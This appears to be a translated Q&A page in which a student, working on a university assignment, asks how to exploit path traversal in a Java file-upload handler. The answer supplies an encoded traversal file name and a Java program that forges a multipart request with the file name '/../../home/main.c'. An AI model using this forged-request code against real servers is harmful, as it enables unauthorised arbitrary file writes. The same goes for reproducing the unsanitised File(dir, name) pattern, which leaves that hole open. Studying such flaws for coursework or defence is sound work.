路径遍历,文件上传漏洞利用

时间:2013-10-31 10:22:41

标签: java security web

我有一项大学任务,我必须将文件上传到任意位置。从代码我可以看到上传的文件存储在unix系统的临时文件夹+文件名中。这意味着如果我可以将服务器(java)的文件名发送为/../../home/main.c我可以将文件存储在系统上的任何位置。

无法插入正斜杠字符作为排除此选项的文件名的一部分,因此唯一的方法是欺骗网络客户端以某种方式手动发送文件名。

这可能吗?如何?

File f = new File (dir,entry.getname());

其中" dir"是/ temp

1 个答案:

答案 0 :(得分:1)

您可以将文件命名为%2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec,并使用浏览器上传,但我怀疑它是否可行。

你也可以尝试伪造你的multipart / form-data http post请求破解现有的实现,就像这样(使用commons-httpClient 3.1):

public class Forgery
{
    public static void main(String[] args)
    {
        File f = new File("/path/fileToUpload.txt");
        PostMethod filePost = new PostMethod("http://host/some_path");
        Part[] parts = 
        { 
            new StringPart("param_name", "value"), 
            new FilePart(f.getName(), f)
            {
                private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);

                @Override
                protected void sendDispositionHeader(OutputStream out) throws IOException
                {
                    out.write(CONTENT_DISPOSITION_BYTES);
                    out.write(QUOTE_BYTES);
                    out.write(EncodingUtil.getAsciiBytes(getName()));
                    out.write(QUOTE_BYTES);
                    out.write(FILE_NAME_BYTES);
                    out.write(QUOTE_BYTES);
                    out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
                    out.write(QUOTE_BYTES);
                }
            } 
        };
        filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
        HttpClient client = new HttpClient();
        int status = client.executeMethod(filePost);
    }
}
相关问题